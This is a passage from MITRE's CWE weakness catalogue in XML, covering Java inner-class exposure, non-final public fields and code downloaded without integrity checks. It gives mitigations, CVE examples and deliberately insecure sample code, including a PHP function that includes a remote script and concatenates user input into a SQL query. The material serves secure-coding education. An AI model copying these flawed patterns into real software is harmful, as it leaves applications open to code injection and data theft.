                  <xhtml:div>public class BankAccount {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// private member variables of BankAccount class</xhtml:i>
                           <xhtml:br/>private String accountOwnerName;<xhtml:br/>private String accountOwnerSSN;<xhtml:br/>private int accountNumber;<xhtml:br/>private double balance;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// constructor for BankAccount class</xhtml:i>
                           <xhtml:br/>public BankAccount(String accountOwnerName, String accountOwnerSSN,<xhtml:br/>int accountNumber, double initialBalance, int initialRate)<xhtml:br/>{<xhtml:div style="margin-left:1em;">this.accountOwnerName = accountOwnerName;<xhtml:br/>this.accountOwnerSSN = accountOwnerSSN;<xhtml:br/>this.accountNumber = accountNumber;<xhtml:br/>this.balance = initialBalance;<xhtml:br/>this.start(initialRate);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// start method will add interest to balance every 30 days</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// creates timer object and interest adding action listener object</xhtml:i>
                           <xhtml:br/>public void start(final double rate)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// anonymous inner class that implements the ActionListener interface</xhtml:i>
                                 <xhtml:br/>ActionListener adder = new ActionListener()<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>public void actionPerformed(ActionEvent event)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>
                                             <xhtml:br/>
                                             double interest = BankAccount.this.balance * rate / 100;
                                             <xhtml:br/>BankAccount.this.balance += interest;</xhtml:div>
                                       </xhtml:div>}</xhtml:div>
                                 </xhtml:div>};<xhtml:br/>
                                 <xhtml:br/>Timer t = new Timer(1000 * 3600 * 24 * 30, adder);<xhtml:br/>t.start();</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.</Intro_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>public class UrlToolApplet extends Applet {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// private member variables for applet components</xhtml:i>
                           <xhtml:br/>private Label enterUrlLabel;<xhtml:br/>private TextField enterUrlTextField;<xhtml:br/>private Button submitButton;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// init method that adds components to applet</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// and creates button listener object</xhtml:i>
                           <xhtml:br/>public void init() {<xhtml:div style="margin-left:1em;">setLayout(new FlowLayout());<xhtml:br/>enterUrlLabel = new Label("Enter URL: ");<xhtml:br/>enterUrlTextField = new TextField("", 20);<xhtml:br/>submitButton = new Button("Submit");<xhtml:br/>add(enterUrlLabel);<xhtml:br/>add(enterUrlTextField);<xhtml:br/>add(submitButton);<xhtml:br/>ActionListener submitButtonListener = new SubmitButtonListener();<xhtml:br/>submitButton.addActionListener(submitButtonListener);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// button listener inner class for UrlToolApplet class</xhtml:i>
                           <xhtml:br/>private class SubmitButtonListener implements ActionListener {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>public void actionPerformed(ActionEvent evt) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>if (evt.getSource() == submitButton) {<xhtml:div style="margin-left:1em;">String urlString = enterUrlTextField.getText();<xhtml:br/>URL url = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">url = new URL(urlString);</xhtml:div>} catch (MalformedURLException e) {<xhtml:div style="margin-left:1em;">System.err.println("Malformed URL: " + urlString);</xhtml:div>}<xhtml:br/>if (url != null) {<xhtml:div style="margin-left:1em;">getAppletContext().showDocument(url);</xhtml:div>}</xhtml:div>}</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class UrlToolApplet extends Applet implements ActionListener {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// private member variables for applet components</xhtml:i>
                           <xhtml:br/>private Label enterUrlLabel;<xhtml:br/>private TextField enterUrlTextField;<xhtml:br/>private Button submitButton;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// init method that adds components to applet</xhtml:i>
                           <xhtml:br/>public void init() {<xhtml:div style="margin-left:1em;">setLayout(new FlowLayout());<xhtml:br/>enterUrlLabel = new Label("Enter URL: ");<xhtml:br/>enterUrlTextField = new TextField("", 20);<xhtml:br/>submitButton = new Button("Submit");<xhtml:br/>add(enterUrlLabel);<xhtml:br/>add(enterUrlTextField);<xhtml:br/>add(submitButton);<xhtml:br/>submitButton.addActionListener(this);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// implementation of actionPerformed method of ActionListener interface</xhtml:i>
                           <xhtml:br/>public void actionPerformed(ActionEvent evt) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (evt.getSource() == submitButton) {<xhtml:div style="margin-left:1em;">String urlString = enterUrlTextField.getText();<xhtml:br/>URL url = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">url = new URL(urlString);</xhtml:div>} catch (MalformedURLException e) {<xhtml:div style="margin-left:1em;">System.err.println("Malformed URL: " + urlString);</xhtml:div>}<xhtml:br/>if (url != null) {<xhtml:div style="margin-left:1em;">getAppletContext().showDocument(url);</xhtml:div>}</xhtml:div>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Mobile Code: Use of Inner Class</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Publicizing of private data when using inner classes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ08-J</Entry_ID>
               <Entry_Name>Do not expose private members of an outer class from within a nested class</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Other">Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Mobile Code: Use of Inner Class</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="493" Name="Critical Public Variable Without Final Modifier" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.</Description>
         <Extended_Description>If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.</Background_Detail>
            <Background_Detail>Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>The object could potentially be tampered with.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The object could potentially allow the object to be read.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public final class WidgetData extends Applet {<xhtml:div style="margin-left:1em;">public float price;<xhtml:br/>...<xhtml:br/>public WidgetData(...) {<xhtml:div style="margin-left:1em;">this.price = LookupPrice("MyWidgetType");</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Assume the following code is intended to provide the location of a configuration file that controls execution of the application.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>public string configPath = "/etc/application/config.dat";</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public String configPath = new String("/etc/application/config.dat");</xhtml:div>
               </Example_Code>
               <Body_Text>While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Mobile Code: Non-Final Public Field</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to provide confidentiality for stored data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ10-J</Entry_ID>
               <Entry_Name>Do not use public static nonfinal variables</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Likelihood_of_Exploit, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Background_Details, Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Background_Details, Demonstrative_Examples, Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Mobile Code: Non-final Public Field</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="494" Name="Download of Code Without Integrity Check" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.</Description>
         <Extended_Description>An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="79" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Other</Impact>
               <Note>Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-7.4">
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.</xhtml:p>
               </Description>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-11">
               <Method>Black Box</Method>
               <Description>
                  <xhtml:p>Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.</xhtml:p>
                  <xhtml:p>Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.</xhtml:p>
               </Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-42">
               <Phase>Implementation</Phase>
               <Description>Perform proper forward and reverse DNS lookups to detect DNS spoofing.</Description>
               <Effectiveness_Notes>This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>
                  <xhtml:p>Encrypt the code with a reliable encryption scheme before transmitting.</xhtml:p>
                  <xhtml:p>This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.</xhtml:li>
                        <xhtml:li>Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This example loads an external class from a local subdirectory.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>URL[] classURLs= new URL[]{<xhtml:div style="margin-left:1em;">new URL("file:subdir/")</xhtml:div>};<xhtml:br/>URLClassLoader loader = new URLClassLoader(classURLs);<xhtml:br/>Class loadedClass = Class.forName("loadMe", true, loader);</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>
                     <xhtml:i>//assume the password is already encrypted, avoiding CWE-312</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>function authenticate($username,$password){<xhtml:div style="margin-left:1em;">
                        <xhtml:br/>include("http://external.example.com/dbInfo.php");<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available</xhtml:i>
                        <xhtml:br/>mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');<xhtml:br/>mysql_select_db($dbname);<xhtml:br/>$query = 'Select * from users where username='.$username.' And password='.$password;<xhtml:br/>$result = mysql_query($query);<xhtml:br/>
                        <xhtml:br/>if(mysql_numrows($result) == 1){<xhtml:div style="margin-left:1em;">mysql_close();<xhtml:br/>return true;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">mysql_close();<xhtml:br/>return false;</xhtml:div>}</xhtml:div>
                     <xhtml:br/>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.</Body_Text>
               <Body_Text>This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-9534</Reference>
               <Description>Satellite phone does not validate its firmware image.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-9534</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-22909</Reference>
               <Description>Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-22909</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3438</Reference>
               <Description>OS does not verify authenticity of its own updates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3438</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3324</Reference>
               <Description>online poker client does not verify authenticity of its own updates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3324</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1125</Reference>
               <Description>anti-virus product does not verify automatic updates for itself.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1125</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0671</Reference>
               <Description>VOIP phone downloads applications from web sites without verifying integrity.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0671</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Invoking untrusted mobile code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC06-J</Entry_ID>
               <Entry_Name>Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP27</Entry_ID>
               <Entry_Name>Tainted input to environment</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="184"/>
            <Related_Attack_Pattern CAPEC_ID="185"/>
            <Related_Attack_Pattern CAPEC_ID="186"/>
            <Related_Attack_Pattern CAPEC_ID="187"/>
            <Related_Attack_Pattern CAPEC_ID="533"/>
            <Related_Attack_Pattern CAPEC_ID="538"/>
            <Related_Attack_Pattern CAPEC_ID="657"/>
            <Related_Attack_Pattern CAPEC_ID="662"/>
            <Related_Attack_Pattern CAPEC_ID="691"/>
            <Related_Attack_Pattern CAPEC_ID="692"/>
            <Related_Attack_Pattern CAPEC_ID="693"/>
            <Related_Attack_Pattern CAPEC_ID="695"/>
         </Related_Attack_Patterns>
         <References>
